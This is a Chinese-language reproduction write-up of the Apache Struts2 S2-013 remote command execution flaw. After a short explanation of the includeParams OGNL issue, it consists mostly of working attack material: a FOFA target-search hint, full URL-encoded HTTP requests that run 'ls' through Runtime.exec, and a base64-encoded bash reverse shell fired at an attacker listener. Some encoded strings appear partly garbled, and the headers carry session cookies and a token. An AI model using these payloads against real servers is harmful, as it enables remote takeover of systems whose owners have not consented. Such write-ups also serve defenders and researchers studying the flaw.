-Struts2-013 远程命令执行漏洞

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漏洞复现-Struts2-013 远程命令执行漏洞

0x01 阅读须知

0x02 漏洞描述

 Struts是Apache软件基金会（ASF）赞助的一个开源项目。它最初是Jakarta项目中的一个子项目，并在2004年3月成为ASF的顶级项目。它通过采用JavaServlet/JSP技术，实现了基于JavaEEWeb应用的Model-View-Controller（MVC）设计模式的应用框架，是MVC经典设计模式中的一个经典产品。S2-013中，struts2的标签中<s:a>和<s:url>都有一个includeParams属性，可以设置成如下值①.none-URL中不包含任何参数（默认）②.get-仅包含URL中的GET参数③.all-在URL中包含GET和POST参数当includeParams=all的时候，会将本次请求的GET和POST参数都放在URL的GET参数上。此时<s:a>或<s:url>尝试去解析原始请求参数时，会导致OGNL表达式的执行.

0x03 漏洞复现

漏洞影响:struts 2.0.0 – Struts 2.3.14.1

FOFA:Struts2

1.构造poc link.action?a=${1+1}，可以看到返回的url中的参数已经被解析成了2

2.构造poc查看文件ls

GET /link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('ls').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D HTTP/1.1
Host: x.x.x.x:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: JSESSIONID=888F974CABF594057AD601D294514F0B; PHPSESSID=s9ed41uve6dgoffdm9jtjvqvv2; security=impossible; sidebarStatus=1; vue_admin_template_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjUwOTQxMDc5LCJlbWFpbCI6IiJ9._8DuyVqyTU5JuMahSTowUthFUcPW6geq9rdAGafn4DQ
Upgrade-Insecure-Requests: 1

3.设置base64反弹shell脚本，网址：http://ir0ny.top/pentest/reverse-encoder-shell.html

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcsddxOTIuMxxxLjMxLjdsaLzc3NzcgMD4mMQ==}|{base64,-d}|

4.nc监听，并执行反弹shell命令，得到一个shell

GET /link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiwwGV2L3RjcC8xOTIuMTY4LjMxLjcwLzc3NzcgMD4mMQ%3D%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D HTTP/1.1
Host: x.x.x.x:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: JSESSIONID=888F974CABF594057AD601D294514F0B; PHPSESSID=s9ed41uve6dgoffdm9jtjvqvv2; security=impossible; sidebarStatus=1; vue_admin_template_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjUwOTQxMDc5LCJlbWFpbCI6IiJ9._8DuyVqyTU5JuMahSTowUthFUcPW6geq9rdAGafn4DQ
Upgrade-Insecure-Requests: 1